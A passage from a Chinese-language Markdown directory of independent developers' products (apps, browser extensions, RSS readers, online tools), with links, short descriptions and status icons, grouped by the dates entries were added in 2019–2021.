#### nojsja(成都) - [Github](https://github.com/nojsja), [博客](https://nojsja.gitee.io/blogs/)
* :white_check_mark: [shadowsocks-electron](https://github.com/nojsja/shadowsocks-electron)：Shadowsocks跨平台客户端(Ubuntu/Mac x64) - [更多介绍](https://nojsja.gitee.io/blogs/2021/10/04/5384287.html/)
### 2021年8月31号添加
---
#### Guyskk - [Github](https://github.com/guyskk), [博客](https://blog.guyskk.com/)
* :white_check_mark: [蚁阅](https://rss.anyant.com/)：让 RSS 更好用，轻松订阅你喜欢的博客和资讯 - [更多介绍](https://github.com/anyant/rssant)
### 2021年7月14号添加
---
#### Space Time - [Github](https://github.com/SpaceTimee), [博客](https://blog.spacetimee.xyz/)
* :white_check_mark: [Vight Note](https://github.com/SpaceTimee/Vight-Note)：一只轻量级的临时文本处理工具
### 2021年6月28号添加
---
#### SuperMonster003(北京) - [Github](https://github.com/SuperMonster003/Ant-Forest)
* :white_check_mark: [Ant-Forest](https://github.com/SuperMonster003/Ant-Forest)：基于 Auto.js 的蚂蚁森林能量自动收取脚本 - [更多介绍](https://github.com/SuperMonster003/Ant-Forest/wiki/%E8%9A%82%E8%9A%81%E6%A3%AE%E6%9E%97-(Ant-Forest))
### 2021年6月17号添加
---
#### 珒陶(广州) - [Github](https://github.com/chenjt2001), [博客](http://www.chenjt.com/)
* :white_check_mark: [MindCanvas](http://www.chenjt.com/mindcanvas)：一款制作思维导图的UWP应用
### 2021年6月16号添加
---
#### seth-shi(西安) - [Github](https://github.com/seth-shi), [博客](http://www.shiguopeng.cn/)
* :white_check_mark: [有梦记](https://www.youmengji.zone/)：有梦记让你一目了然你的过往。记住那些不愿忘记的梦!
### 2021年6月14号添加
---
#### newbe36524(上海) - [Github](https://github.com/newbe36524/Amazing-Favorites)
* :white_check_mark: [Amazing-Favorites](https://af.newbe.pro/)：高效管理和搜索浏览器收藏的浏览器扩展。
### 2021年6月11号添加
---
#### YJ1211 - [Github](https://github.com/guyijie1211)
* :x: [MixLive](https://live.yj1211.work)：一个整合国内多个直播平台内容的网站
### 2021年5月14号添加
---
#### 一粒豆子(深圳)
* :x: [魔豆车主](https://www.yilidouzi.com)：更适合国人使用的特斯拉车主 App，记录特斯拉车辆行程及充电费用。 - [更多介绍](http://www.yilidouzi.com/)
### 2021年4月9号添加
---
#### LisenH - [Github](https://github.com/LisenH)
* :white_check_mark: [网页视频下载](https://m3w.cn/wyspxz)：支持几乎所有网页视频的下载，包括 M3U8
### 2021年4月6号添加
---
#### zhangyw(北京) - [Github](https://github.com/zhangyingwei)
* :x: [RSSFlow](http://rss.zhangyingwei.com)：一个 Web 端 RSS 阅读器，以信息流的方式阅读你的订阅信息。
### 2021年3月30号添加
---
#### sheepzh(深圳) - [Github](https://github.com/sheepzh)
* :white_check_mark: [Make Zero](https://github.com/sheepzh/make-zero)：快捷易用的文本加解密浏览器扩展。支持手动和自动加解密，自定义密码，密文风格切换 - [更多介绍](https://www.bilibili.com/video/BV1x54y1t7MR)
* :white_check_mark: [网费很贵](https://github.com/sheepzh/timer)：用于统计上网时间的浏览器扩展。多种统计口径，丰富的图表展示，支持数据导出 - [更多介绍](https://www.douban.com/group/topic/213888429/)
### 2021年2月20号添加
---
#### secret_C - [Gitee](https://gitee.com/secret_C)
* :white_check_mark: [secret-performance-desktop](https://gitee.com/SecretOpen/secret-performance-desktop)：让桌面炫酷起来的桌面个性化工具
### 2021年2月14号添加
---
#### 西格玛(上海) - [Github](https://github.com/SigmaAdrich)
* :x: [数字水印](http://www.shuiyin.online/)：肉眼不可见的水印 (严格地说来是肉眼不容易分辨的水印，所以比较难以识别出来并去除，减少破坏图片的完整性)
### 2021年1月5号添加
---
#### 阿树(上海) - [Github](https://github.com/zhishu520)
* :white_check_mark: [早晨计划](https://apps.apple.com/cn/app/%E6%97%A9%E6%99%A8%E8%AE%A1%E5%88%92/id1542908683)：帮你早起一小时，规划生活，达成目标的app
### 2021年1月4号添加
---
#### zhengmingpei(济南市) - [Github](https://github.com/ZhengMingpei)
* :clock8: [视频进度条生成工具](https://gitee.com/zhengmingpei/VideoProgressBarTool-Windows)：帮助制作视频进度条的辅助小工具(暂时在 Gitee 上) - [更多介绍](https://www.bilibili.com/video/BV1ZA411p7M2/)
### 2020年12月23号添加
---
#### getjennyli - [Github](https://github.com/getjennyli)
* :white_check_mark: [Bucket](https://apps.apple.com/cn/app/bucket-achieve-your-goals/id1534447271)：愿望清单 App
#### ZhongYuanDong(佛山市) - [Github](https://github.com/yuandongzhong//)
* :white_check_mark: [白菜录屏](https://www.bakchoi.com)：简洁、功能强大的 Mac 录屏软件。
#### ysykzheng(成都)
* :x: [我比你强问答](https://wobiniqiang.com/)：常见知识问答收集，不用到处找了。
### 2020年11月26号添加
---
#### 阿猫阿狗 - [博客](https://blog.yhz610.com/)
* :white_check_mark: [极简导航](https://nav.yhz610.com/)：一个专注极简的导航主页 - [更多介绍](https://github.com/leslieyin/jjdaohang)
### 2020年11月23号添加
---
#### hooopo (北京) - [Github](https://github.com/hooopo), [博客](https://twitter.com/hooopo)
* :x: [DrawERD](https://drawerd.com)：数据库ERD协作工具 - [更多介绍](https://v2ex.com/t/661611)
* :white_check_mark: [Hackershare](https://hackershare.dev)：开源书签共享工具 - [更多介绍](https://v2ex.com/t/709437)
### 2020年11月20号添加
---
#### Jeff(杭州) - [Github](https://github.com/JeffLi1993), [博客](openwrite.cn)
* :white_check_mark: [微信公众号 Markdown 编辑器 - OpenWrite](https://md.openwrite.cn/)：Markdown 微信编辑器是一款专业强大的微信公众平台在线编辑排版工具，提供手机预览功能，让用户在微信图文 、文章、内容排版、文本编辑、素材编辑上更加方便 - [更多介绍](https://openwrite.cn/product-markdown)
### 2020年11月16号添加
---
#### clwater(上海) - [Github](https://github.com/clwater)
* :white_check_mark: [RobinAlgo](http://robinalgo.com/)：RobinAlgo - 可视化算法学习平台 - [更多介绍](https://robinalgo.com/about)
### 2020年11月13号添加
---
#### 竹行(杭州) - [Github](https://github.com/zimujiang)
* :white_check_mark: [字幕酱](https://www.zimujiang.com?utm_source=chinese-independent-developer)：一个字幕在线生成、翻译、格式转换的工具网站 - [更多介绍](https://www.zimujiang.com/about_us.html)
### 2020年10月28号添加
---
#### Vove7(上海) - [Github](https://github.com/Vove7)
* :white_check_mark: [VAssistant](https://www.coolapk.com/apk/cn.vove7.vassistant)：Android 平台强大的自定义语音助手 - [博客](https://vove.gitee.io)
* :white_check_mark: [EnergyRing](https://www.coolapk.com/apk/cn.vove7.energy_ring)：挖孔屏福利，电量指示环
### 2020年10月24号添加
---
#### RiverTwilight(成都) - [Github](https://github.com/RiverTwilight), [博客](https://blog.yungeeker.com)
* :x: [云极客工具](https://www.ygktool.cn)：功能丰富的渐进式在线工具网站（开源） - [更多介绍](https://blog.yungeeker.com/blog/07cc5138)
### 2020年10月20号添加
---
#### GeorgeZou(北京) - [Github](https://github.com/georgezouq), [博客](https://blog.tefact.com/)
* :x: [星搭 StaringOS](https://staringos.com)：星搭无代码平台，快速构建中后台、小程序
* :clock8: [Tefact编辑器](https://github.com/staringos/tefact)：轻量级开源无代码 H5、表单 编辑器
* :white_check_mark: [真科技周刊](https://github.com/Tefact/tefact-weekly)：科技 · 商业 · 人文 · 未来
### 2020年10月06号添加
---
#### Mr.Dear(杭州) - [Github](https://github.com/mrdear)
* :white_check_mark: [动森生活家](https://mrdear.cn/posts/animal_crossing_recommed.html)：动森服装码收集,归类以及分享的微信小程序
### 2020年9月26号添加
---
#### WhiteCosm0s(上海) - [Github](https://github.com/WhiteCosmos)
* :white_check_mark: [RabiAPI](https://apps.apple.com/cn/app/id1524200727)：一个开箱即用的Java接口文档生成工具 - [更多介绍](https://github.com/RabiAPI/RabiAPI-Support)
### 2020年7月27号添加
---
#### Lenix(北京) - [Github](https://github.com/w3yyb), [博客](http://blog.p2hp.com/)
* :white_check_mark: [PHP中文站](http://www.p2hp.com/)：最专业的PHP资源网站：PHP教程, PHP中文手册, PHP开发工具, PHP框架文档大全！- [更多介绍](https://www.p2hp.com/about.php)
### 2020年7月23号添加
---
功夫熊猫(北京) - [Github](https://github.com/langxuelang)
* :white_check_mark: [名校讲座](http://qiniu.gaotenglife.com/gh_ce3241405e01_860.jpg): 收集发布北京上海等地名校的公开讲座，让更多的人聆听名校的声音 - [更多介绍](https://www.gaotenglife.com/?p=539)
### 2020年7月18号添加
---
#### weijarz(吉林) - [Github](https://github.com/weijarz)
* :white_check_mark: [Reabble](https://reabble.cn)：面向 Kindle 等 E-Ink 设备的 RSS 客户端，带推送服务
* :x: [OxyPlayer](https://player.oxyry.com/)：专为学英语设计的视频播放器，单句重复/双语字幕/情境填词
### 2020年7月15号添加
---
#### getjennyli - [Github](https://github.com/getjennyli)
* :white_check_mark: [Feelings](https://apps.apple.com/cn/app/feelings-mood-journal/id1446192624)：心情树洞日记 App
* :white_check_mark: [Booka](https://apps.apple.com/cn/app/booka-minimal-booklist/id1116150273)：书单管理 App
### 2020年6月30号添加
---
#### sudo2u（深圳）- [Github](https://github.com/hello-world-404)
* :x: [Helium N](https://geshkii.xyz/helium/): 一个 ADB 工具箱 - [更多介绍](https://www.geshkii.xyz/geshkii/)
### 2020年6月29号添加
---
#### JumpAlang(泉州) - [博客](http://www.alang.run)
* :white_check_mark: [一起听歌吧](http://music.alang.run)：一个可以同步多人在线听音乐聊天的网站。试想一下地球上任何一个角落的人根据自己的喜好，创建属于自己的音乐屋，让有相同喜好的人聚在一起实时听歌、分享、互动是多么有趣的事 - [更多介绍](http://www.alang.run/release)
### 2020年6月5号添加
---
#### ZhongYuanDong (佛山) - [Github](https://github.com/yuandongzhong/), [博客](https://www.zhongyuandong.com)
* :white_check_mark: [Jsonman](https://jsonman.bakchoi.com/?ref=1c7)：零代码快速创建 JSON API (Mac App) - [更多介绍](https://apps.apple.com/us/app/jsonman-mock-api-in-seconds/id1514363623)
### 2020年6月2号添加
---
#### 6r6(杭州) - [Github](https://github.com/6r6)
* :x: [在线AI图像处理](https://photo.opencool.cn/)：一款免下载免注册的在线图像处理工具，支持黑白照片上色、图像无损放大、人像漫画化 - [更多介绍](https://www.yuque.com/docs/share/c102e8a2-23a5-470f-b615-d254d77685e6?#)
### 2020年6月1号添加
---
#### timeromantic - [Github](https://github.com/timeromantic)
* :white_check_mark: [鱼塘热榜](https://mo.fish/)：专注摸鱼的趣味新闻热榜网站 - [更多介绍](https://mo.fish/main/comment/1202350)
### 2020年5月31号添加
---
#### yuxiaoy(上海) - [Github](https://github.com/Yuxiaoy1), [微博](https://weibo.com/u/1802713725)
* :x: [InfoHub](https://infohub.fun/)：简洁轻巧的科技、社区、娱乐、财经、体育、IT、游戏等综合资讯中心 - [更多介绍](https://eleduck.com/posts/74fg0O)
### 2020年5月28号添加
---
#### 漂泊80(哈尔滨) - [Github](https://github.com/424626154), [博客](http://minis.zanzhe580.com/piao/apps)
* :white_check_mark: [精酿笔记](https://itunes.apple.com/us/app/%E7%B2%BE%E9%85%BF%E7%AC%94%E8%AE%B0/id1177364674?l=zh&ls=1&mt=8)：家酿啤酒学习交流辅助小工具 - [更多介绍](https://kunwx.zanzhe580.com/appweb/beernotes_dapp)
### 2020年5月15号添加
---
OldPanda [GitHub](https://github.com/OldPanda), [博客](https://old-panda.com/)
* :x: [MPAA 电影分级插件](https://old-panda.com/projects/mpaa-rating-extension-project/)：在豆瓣电影、腾讯视频页面显示该片的 MPAA 分级 - [更多介绍](https://creatorsdaily.com/posts/f3510a80-6c40-494d-9404-a158c283c140)
* :white_check_mark: [Bamboo](https://old-panda.com/projects/bamboo-parquet-viewer/)：可能是 macOS 上最好用的 Parquet 文件查看器
* :white_check_mark: [Douban Book+](https://old-panda.com/douban-book-plus.html)：打破豆瓣读书与微信读书之间的壁障 - [更多介绍](https://www.appinn.com/weread-on-douban/)
* :white_check_mark: [Green Tiles](https://green-tiles.vercel.app/): 统计程序员在 GitHub 上贴过的所有瓷砖
### 2020年5月14号添加
---
#### Mark - [Github](https://github.com/markqq), [博客](https://marksanders.cn/)
* :white_check_mark: [triplan](https://triplan.tech/?utm_source=cid)：跨平台行程管理应用，全面提升你的出行体验 - [更多介绍](https://creatorsdaily.com/44c14492-ef09-4583-bc2b-4e96735f1027)
### 2020年4月14号添加
---
#### Jezemy(广州) - [Github](https://github.com/Jezemy)
* :x: [疯狂押韵](http://www.jezemy.cn/rhyme)：中文押韵短语查询的网站 - [更多介绍](https://github.com/Jezemy/ChineseRhymePhraseSearch)
* [查看此作者在'程序员版面'的其他作品](https://github.com/1c7/chinese-independent-developer/blob/master/README-Programmer-Edition.md#jezemy%E5%B9%BF%E5%B7%9E---github)
### 2020年3月26号添加
---
#### tobyglei - [Github](https://github.com/tobyglei)
* :white_check_mark: [21云盒子](https://www.21yunbox.com)：最容易使用的云 - 自动化你的工作流程。代码构建，静态网页，Web应用发布，云数据库托管，SSL证书生成和维护，极速CDN，私有网络的一站式服务平台
* :white_check_mark: [BlinkMath](https://apps.apple.com/au/app/blinkmath/id1497540228?l=en)：iOS app，累了眨眨眼，动动脑!
### 2020年3月23号添加
---
#### ZhangPingFan(深圳) - [Github](https://github.com/ZhangPingFan), [博客](https://neverlose.com.cn/)
* :white_check_mark: [FastCode](https://apps.apple.com/cn/app/fastcode-code-in-your-pocket/id1441653112)：可以随时随地编辑运行前端代码的利器
* :white_check_mark: [今日趋势](https://neverlose.com.cn/trending/)：帮助您快速了解全网热点和市场行情的效率工具
### 2020年3月13号添加
---
#### wmui - [Github](https://github.com/wmui)
* :x: [聚享导航](https://www.86886.wang)：方便、简洁、快速的自定义网址导航站 - [更多介绍](https://blog.86886.wang/posts/5e41f4f3de5b175e4943156d)
### 2020年3月1号添加
---
#### Tristan(北京) - [Github](https://github.com/zerosoul/), [博客](https://yangerxiao.com/)
* :x: [土味情话生成器](https://works.yangerxiao.com/honeyed-words-generator/)：土味情话，定制生成 - [更多介绍](https://github.com/zerosoul/honeyed-words-generator)
* :white_check_mark: [静心呼吸调节器](https://works.yangerxiao.com/breathe-relaxer/)：通过视觉反馈在线调节呼吸节奏 - [更多介绍](https://github.com/zerosoul/breathe-relaxer)
* :white_check_mark: [在线图片压缩工具](https://works.yangerxiao.com/icfe/)：无他，又一个图片压缩工具，只不过是纯浏览器端压缩，即无后端技术支撑 - [更多介绍](https://github.com/zerosoul/image-compress-without-backend)
### 2020年2月29号添加
---
#### Roderick Qiu(杭州) - [Github](https://github.com/RoderickQiu), [网站](https://r-q.name/)
* :x: [wnr](https://wnr.scris.top)：跨平台的轻量计时软件，让你更高效、强力地管理作与息 - [更多介绍](https://wnr.scris.top/zh/)
### 2020年2月11号添加
---
#### 周毅刚(上海) - [Github](https://github.com/Yigang0622), [博客](https://miketech.it/)
* :white_check_mark: [Listify](https://apps.apple.com/cn/app/listify-simple-todo-app/id1410668897)：简约的清单应用 - [更多介绍](https://miketech.it/listify-page)
### 2020年1月29号添加
---
#### Fancy(山东) - [Github](https://github.com/fanchangyong), [博客](https://github.com/fanchangyong/blog)
* :white_check_mark: [小鹿快传](https://deershare.com)：提供简单安全的在线P2P文件传输服务
### 2020年1月17号添加
---
#### Jingle1267(北京) - [Github](https://github.com/jingle1267), [博客](http://94275.cn/)
* :white_check_mark: [洪谷山](https://github.com/jingle1267/HelloCodeDev)：微信小程序每日朋友圈分享素材
### 2020年1月16号添加
---
#### SanJin(北京) - [Github](https://github.com/sanjinhub), [博客](https://geek.lc)
* :white_check_mark: [Thief](https://github.com/cteamx/Thief)：在任务栏、桌面、TouchBar 上进行摸鱼的神器 - [更多介绍](https://github.com/cteamx/Thief/blob/master/README.md)
### 2019年1月10号添加
---
#### Tomxin7(桂林) - [Github](https://github.com/tomxin7), [博客](http://www.tomxin.cn/)
* :white_check_mark: [简单天气](http://domain.jiandan.live/weather.html)：不佳天气主动提醒 - [更多介绍](http://domain.jiandan.live/weather.html)
### 2019年12月21号添加
---
#### 刘志军 - [Github](https://github.com/lzjun567)
* :white_check_mark: [二十次幂](https://www.ershicimi.com/)：公众号阅读监控数据分析平台
### 2019年12月19号添加
---
#### docs4dev - [Github](https://github.com/docs4dev)
* :white_check_mark: [Docs4dev](https://www.docs4dev.com/)：开发者文档在线浏览及翻译
#### hui-Zz(杭州) - [Github](https://github.com/hui-Zz)
* :white_check_mark: [RunAny](https://github.com/hui-Zz/RunAny)：一劳永逸的快速启动软件，拥有三键启动、一键直达、批量搜索、全局热键、短语输出、热键映射、脚本插件等功能 - [更多介绍](https://hui-zz.github.io/RunAny)
### 2019年12月17号添加
---
#### suziwen - [Github](https://github.com/suziwen)
* :white_check_mark: [小书匠](http://soft.xiaoshujiang.com)：一款专注于写作的 Markdown 笔记软件，支持多种第三方存储(印象笔记,有道笔记,为知笔记,Github,Gitee等)
#### Banny(杭州) - [Github](https://github.com/hellobanny)
* :white_check_mark: [我的小目标](https://apps.apple.com/cn/app/id1051212505)：个人积分管理软件，督促用户成为更好的自己
* :white_check_mark: [红色工具箱](https://apps.apple.com/cn/app/id1473577627)：多个创意实用小工具集合，如肌肉启动，截屏记事，指尖轮盘等
#### Hancel.Lin(深圳) - [GitHub](https://github.com/imlinhanchao), [博客](http://hancel.org/)
* :white_check_mark: [迷宫游戏Maze](https://maze.hancel.org/)：摸鱼小游戏迷宫 Maze，真实体验探索迷宫的乐趣！
* :white_check_mark: [Storage Editor](https://chrome.google.com/webstore/detail/lpmmcjhefcghagdhnpbodfdamfmlicfn)：网页 LocalStorage 和 SessionStorage 解析与编辑工具。 - [更多介绍](https://github.com/imlinhanchao/crx_storage_editor)
* :white_check_mark: [摸鱼大闯关](https://p.hancel.org/)：摸鱼闯关网页解谜游戏，结合了多种计算机技术与计算机社区梗。摸鱼也要学技术！
* :white_check_mark: [摸鱼派聊天室 客户端](https://github.com/imlinhanchao/pwl-chat)：摸鱼派聊天室的桌面客户端，摸鱼聊天更方便啦！
* :white_check_mark: [摸鱼派聊天室 VSCode 扩展](https://marketplace.visualstudio.com/items?itemName=hancel.pwl-chat)：支持在 VSCode 中摸鱼聊天的扩展应用，开启摸鱼新姿势。 [更多介绍](https://github.com/imlinhanchao/vsc-pwl-chat)
* :white_check_mark: [Serial Port Helper](https://marketplace.visualstudio.com/items?itemName=hancel.serialport-helper)：VSCode扩展，支持在 VSCode 中连接与调试串口通信。 [更多介绍](https://github.com/imlinhanchao/vsc-serialport-helper)
* :white_check_mark: [自考英语查询](https://eng.sxisa.com/)：英语单词查询网站，支持简单的笔记记录 - [更多介绍](https://github.com/imlinhanchao/eng)
* :white_check_mark: [Code Snippet](https://code-snippet.cn/)：代码片段分享网站，类似 Gist，新增了代码在线运行和网页预览的功能 - [更多介绍](https://github.com/imlinhanchao/code-snippet)
* :white_check_mark: [Google 翻译 VSCode 扩展](https://marketplace.visualstudio.com/items?itemName=hancel.google-translate)：基于 Google 翻译的 VSCode 扩展 - [更多介绍](https://github.com/imlinhanchao/vsc-google-translate)
* :white_check_mark: [婚礼邀请函制作工具](http://marry.git.hancel.org/)：快速自定义批量制作婚礼邀请函 - [更多介绍](https://github.com/imlinhanchao/invitation-card-maker)
* :white_check_mark: [KeyGenius](https://github.com/imlinhanchao/KeyGenius/releases/download/1.0.2/KeyGenius.exe)：用来定时按下某个按键。比如 Ctrl + S，免得忘记保存 - [更多介绍](https://github.com/imlinhanchao/KeyGenius)
* :clock8: [Librejo 我的书](https://librejo.cn)：一个图书笔记借阅管理的网站 - [更多介绍](https://github.com/imlinhanchao/librejo)
* :white_check_mark: [Markdown Image](https://marketplace.visualstudio.com/items?itemName=hancel.markdown-image)：VSCode 扩展，直接复制粘贴即可在 Markdown 文件即可插入图片，支持上传到多种图床 - [更多介绍](https://github.com/imlinhanchao/vsc-markdown-image)
* :white_check_mark: [微信公众号代码高亮插件](https://chrome.google.com/webstore/detail/kbiedhbfjcadjlajanccenpiicgdbfaf)：Chrome扩展，可以在公众号文章插入代码高亮，支持多个高亮主题自选，行号和二次编辑 - [更多介绍](https://github.com/imlinhanchao/crx_wx_code_highlight)
### 2019年12月9号添加
---
#### nicejade(ShenZhen) - [Github](https://github.com/nicejade), [博客](https://www.jeffjade.com)
* :white_check_mark: [Arya - 在线 Markdown 编辑器](https://markdown.lovejade.cn)：一款基于 Vue、Vditor 所构建的在线 Markdown 编辑器 - [更多介绍](https://www.jeffjade.com/2019/05/31/155-arya-markdown-online-editor/)
### 2019年11月27号添加
---
#### zoumorn - [Github](https://github.com/zoumorn)
* :white_check_mark: [一撮毛](https://github.com/zoumorn/tkreborn)：全网最牛自淘返现工具
### 2019年11月24号添加
---
#### bigzhu - [Github](https://github.com/bigzhu)
* :white_check_mark: [Ebuoy](https://play.google.com/store/apps/details?id=net.bigzhu.english_buoy)：利用 YouTube 字幕刷视频轻松学习英语的 APP - [更多介绍](https://github.com/bigzhu/Ebuoy)
### 2019年11月22号添加
---
#### Albuer(FuZhou) - [Github](https://github.com/albuer)
* :white_check_mark: [iBlockly](https://github.com/albuer/iBlockly)：一款基于 Google Blockly 的积木编程软件
### 2019年11月21号添加
---
#### ETY001(淄博) - [Github](https://github.com/ety001), [博客](https://blog.domyself.me/)
* :white_check_mark: [网络剪切板](https://oc.to0l.cn/)：多终端传输文本信息。
* :x: [温故知新](https://chrome.google.com/webstore/detail/review-bookmarks/oacajkekkegmjcnccaeijghfodogjnom)：温故知新 是一个帮助你重温或者整理书签的 Chrome 浏览器插件 - [更多介绍](https://bm.to0l.cn/)
### 2019年11月13号添加
---
#### 周利刚(杭州)
* :white_check_mark: [xCoins](https://apps.apple.com/cn/app/id1335320802)：迭代比特币私钥,汇总用户币的总价值
* :white_check_mark: [足迹中国](https://apps.apple.com/cn/app/id1482250279)：用地图截图记录你去过的中国的省市(上架不久,完善中)
* :white_check_mark: [假装来电](https://apps.apple.com/cn/app/id1475866564)：设置一定时间后,收到虚假的来电,用于逃离某些场合
* :white_check_mark: [iStat Widget](https://apps.apple.com/cn/app/id1476638491)：查看硬件信息
### 2019年11月6号添加
---
#### lemonTree - [Github](https://github.com/ishare20)
* :white_check_mark: [问题库](https://questionlib.net/)：在线搜索查看试题答案，查看试题解析，讨论试题
* :white_check_mark: [文字表情制作器](https://www.coolapk.com/apk/79950)：一键制作文字表情
### 2019年10月30号添加
---
#### 何辉（深圳） - [Github](https://github.com/qq475742653)
* :x: [相见易](http://www.headset.xin/LHS)：允许用户在手机上、网页上自主设计表单、图表，存储和查询数据、网页与手机端的数据互通（演示用户：13510928305,密码：123456）
* :x: [自由地呼吸](http://www.headset.xin/freebreath)：一款呼吸训练、规律动作训练+心事倾述+呼吸康复学堂,用户可定义呼吸训练和计划
* :x: [街坊情圣](http://www.headset.xin/NLovers)：恋爱学堂，包含土味情话、恋爱攻略文章、恋爱专家音频教学、用户关于爱情问题讨论
* :x: [死亡时间预测](http://www.headset.xin/dieDate)：包含死亡时间预测工具、养生知识学堂、每日养生任务计划、定时提醒。
* :x: [密码生成管理器](http://www.headset.xin/mypassword)：包含云端存储、智能的问题密码的生成、密码搜索、复制、密码期限管理提醒（演示用户：13510920000,密码：123456）
* :x: [mypassword](https://www.headset.xin/mypassword)：一款根据熟悉问题产生的易记且超强密码的生成工具、管理工具。演示用户：13510920000,密码：123456
* :x: [中国诗人](http://www.headset.xin/tangsongsc)：一款收录80万首，远古、古代、当代、近现代的古诗网站，支持用户上传创作诗词
* :x: [VR+360全景图展示](http://www.headset.xin/VR)：一款360度VR现场模式全景展示卖房案例。支持flash和h5两种模式。VR模式需要配带VR设备支持
### 2019年10月28号添加
---
#### 小鱼(北京) - [Github](https://github.com/croath), [博客](https://medium.com/@croath/%E5%B0%8F%E7%A8%8B%E5%BA%8F%E7%94%9F%E6%88%90%E5%9B%BE%E7%89%87%E5%88%86%E4%BA%AB%E6%9C%8B%E5%8F%8B%E5%9C%88-12d5226e3331)
* :white_check_mark: [快海报](https://kuaihaibao.com)：小程序分享海报生成服务 - [更多介绍](https://developers.weixin.qq.com/community/develop/article/doc/0008eedae74af82abb59c83b656c13)
### 2019年10月26号添加
---
#### sdmtai(山东) - [Github](https://github.com/faithxie)
* :white_check_mark: [历史地图](https://sdmtai.github.io/)：中国历史疆域地图
### 2019年10月21号添加
---
#### 土豆(北京) - [Github](https://github.com/iphysresearch), [博客](https://iphysresearch.github.io/)
* :x: [DataSciCamp](https://www.datascicamp.com)：数据科学竞赛题目汇编 - [更多介绍](https://github.com/datascicamp/DataSciCamp)
### 2019年10月20号添加
---
#### mdnice(杭州) - [Github](https://github.com/guanpengchn), [博客](https://draw.mdnice.com/)
* :white_check_mark: [markdown-nice](https://mdnice.com/)：支持自定义样式的微信 Markdown 排版工具 - [更多介绍](https://github.com/mdnice/markdown-nice)
* :white_check_mark: [markdown-resume](https://resume.mdnice.com/)：支持 Markdown 和富文本的在线简历排版工具 - [更多介绍](https://github.com/mdnice/markdown-resume)
#### 痕迹(深圳) - [Github](https://github.com/lijy91), [博客](https://thecode.me)
* :x: [wordway](https://wordway.thecode.me)：由社区驱动的背单词应用 - [更多介绍](https://github.com/wordway/wordway-app/issues/1)
### 2019年10月18号添加
---
#### Tengfei(北京) - [博客](https://tengfei.fun)
* :white_check_mark: [创造者日报](https://creatorsdaily.com)：每天发现一款有趣产品
### 2019年10月17号添加
---
#### zkqiang - [Github](https://github.com/zkqiang)
* :white_check_mark: [微信公众号 Markdown 编辑器](https://prod.zkqiang.cn/wxeditor)：一款可以将 Markdown 转换为微信公众号文章的在线编辑器
### 2019年10月13号添加
---
#### zerosoul - [Github](https://github.com/zerosoul)
* :white_check_mark: [中国古典颜色手册](https://colors.ichuantong.cn/)：一个中国古典颜色的在线网站
### 2019年10月9号添加
---
#### Maxwell - [Github](https://github.com/maxwellyue)
* :white_check_mark: [微信小程序-数独之光](https://www.jianshu.com/p/7a9e970dab2a)：经典益智数字游戏数独
### 2019年10月7号添加
---
#### zhshch2002 - [Github](https://github.com/zhshch2002)
* :x: [星文 - Xstar News](https://xstar.news/#/)：一个有理想的~~划水~~独立创作博客聚合网站
### 2019年9月30号添加
---
#### dorjmi - [Github](https://github.com/dorjmi)
* :white_check_mark: [nothingblock](https://github.com/dorjmi/nothingblock)：屏蔽网页多余元素, 还你一个干净的世界
### 2019年9月12号添加
---
#### dylan(深圳) - [Github](https://github.com/DylanXing), [博客](https://xingdi.me)
* :white_check_mark: [极简待办](https://apps.apple.com/cn/app/%E6%9E%81%E7%AE%80%E5%BE%85%E5%8A%9E-%E8%BD%BB%E9%87%8F%E7%BA%A7%E7%9A%84%E7%8A%B6%E6%80%81%E6%A0%8F%E5%BE%85%E5%8A%9E%E5%B7%A5%E5%85%B7/id1454209103?mt=12)：轻量极的状态栏待办工具 - [更多介绍](https://xingdi.me/DList.html)
### 2019年9月6号添加
---
#### Meilbn(杭州) - [Github](https://github.com/meilbn), [博客](https://meilbn.com)
* :white_check_mark: [积木](https://apps.apple.com/cn/app/id1390979359)：一个简约而不简单的记账应用 - [更多介绍](https://meilbn.com/2018/06/06/app-geemoon-tips/)
* :white_check_mark: [FrameWork](https://apps.apple.com/cn/app/id1412383595)：支持多尺寸、多机型的带壳截屏工具 - [更多介绍](https://meilbn.com/2018/11/26/app-framework-tips/)
### 2019年9月5号添加
---
#### Svend(苏州) - [Github](https://github.com/gee1k/uPic), [博客](https://blog.svend.cc/upic/)
* :white_check_mark: [uPic](https://github.com/gee1k/uPic)：简洁的 Mac 图床客户端 uPic
### 2019年8月20号添加
---
#### wangyiwy(重庆) - [Github](https://github.com/wangyiwy)
* :white_check_mark: [在线工具 - OKTools](https://oktools.net)：一个程序开发在线工具站。主要有 JSON格式化、Unix时间戳转换、Base64编码、加密解密、图片压缩、IP查询、Hash计算、JSON转Go、JSON转XML、WebSocket测试等20多个工具
#### hujianhang(Beijing) - [Github](https://github.com/hujianhang2996)
* :white_check_mark: [Forget](https://apps.apple.com/cn/app/id1448659423)：一款时间管理软件 - [更多介绍](https://github.com/hujianhang2996/forget)
### 2019年8月18号添加
---
#### weilaihui(成都) - [GitHub](https://github.com/weilaihui)
* :x: [GRLib](https://www.grlib.com/)：收藏优质 GitHub 项目
### 2019年8月11号添加
---
#### Kiddyu(保定) - [Github](https://github.com/kiddyuchina)
* :white_check_mark: [新趣集](https://xinquji.com)：一个互联网新产品发现社区，36kr next 的替代品
* :x: [独角兽排行](https://dujiaoshou.io)：全球独角兽企业榜单与招聘
### 2019年8月2号添加
---
#### 张琪灵(福州) - [Github](https://github.com/Zo3i)
* :white_check_mark: [Xcoding](http://xcoding.me) ：一个在线编程学习 Javascript 的刷题网站，帮助编程初学者学习编码 - [更多介绍](https://zxx.im)
### 2019年8月1号添加
---
#### Andy - [Github](https://github.com/ifrontend-xyz)
* :x: [Research](http://www.suiyuanka.com/?q=%E7%8B%AC%E7%AB%8B%E5%BC%80%E5%8F%91%E8%80%85)：快速搜索相关内容
#### fancy - [Github](https://github.com/fanchangyong)
* :white_check_mark: [橙子简历](https://wonderfulcv.com)：在线简历制作网站-制作简历，告别word排版
### 2019年7月23号添加
---
#### 625781186 - [Github](https://github.com/625781186)
* :clock8: [gitpyman](https://github.com/625781186/gitpyman)： 管理备注 Github 的桌面程序(用PyQt5写的)
### 2019年7月22号添加
---
#### liudanking - [Github](https://github.com/liudanking)
* :white_check_mark: [又开车了](https://liudanking.com/wp-content/uploads/2019/07/qrcode_for_gh_110358ae70f0_258.jpg)： 汽车类视频节目聚合订阅微信服务号
### 2019年7月11号添加
---
#### Montisan - [Github](https://github.com/montisan)
* :white_check_mark: [小合集](https://ebooki.cn/)：聚合公众号文章精选合集阅读
### 2019年7月10号添加
---
#### Benb - [Github](https://github.com/Bin-Huang)
